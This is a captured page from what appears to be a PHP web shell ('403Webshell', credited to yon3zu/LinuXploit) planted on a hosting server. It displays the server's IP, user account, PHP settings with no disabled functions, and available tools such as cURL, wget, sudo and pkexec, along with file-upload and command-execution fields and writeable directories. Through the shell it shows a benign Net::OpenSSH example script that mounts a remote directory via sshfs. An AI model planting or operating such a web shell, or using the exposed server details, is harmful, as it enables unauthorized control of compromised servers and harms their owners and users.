403Webshell
Server IP : 172.67.156.203  /  Your IP : 216.73.216.72
Web Server : Apache
System : Linux gator4057.hostgator.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
User : badawi ( 1130)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Net-OpenSSH/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/perl-Net-OpenSSH/examples/sshfs_mount.pl
#!/usr/bin/perl

use strict;
use warnings;
use 5.010;

use Net::OpenSSH 0.65;

@ARGV == 3 or die <<USAGE;
Usage:
  $0 host remote_directory mount_point
USAGE

my $uri = shift;
my $remote = shift;
my $local = shift;

my $ssh = Net::OpenSSH->new($uri);
$ssh->die_on_error;

my $dev = (stat $local)[0] // die "$local: $!";

my $sshfs_pid = $ssh->sshfs_import($remote, $local)
    or $ssh->die_on_error;

$| = 1;
for (1..20) {
    my $new_dev = (stat $local)[0];
    if ($new_dev != $dev) {
        my $master_pid = $ssh->disown_master;
        $ssh->stop;
        print "\nremote $remote mounted in $local, sshfs PID: $sshfs_pid, master ssh PID: $master_pid\n";
        exit(0);
    }
    print '.';
    sleep 1;
}

print "Time out!\n";
kill TERM => $sshfs_pid;




Youez - 2016 - github.com/yon3zu
LinuXploit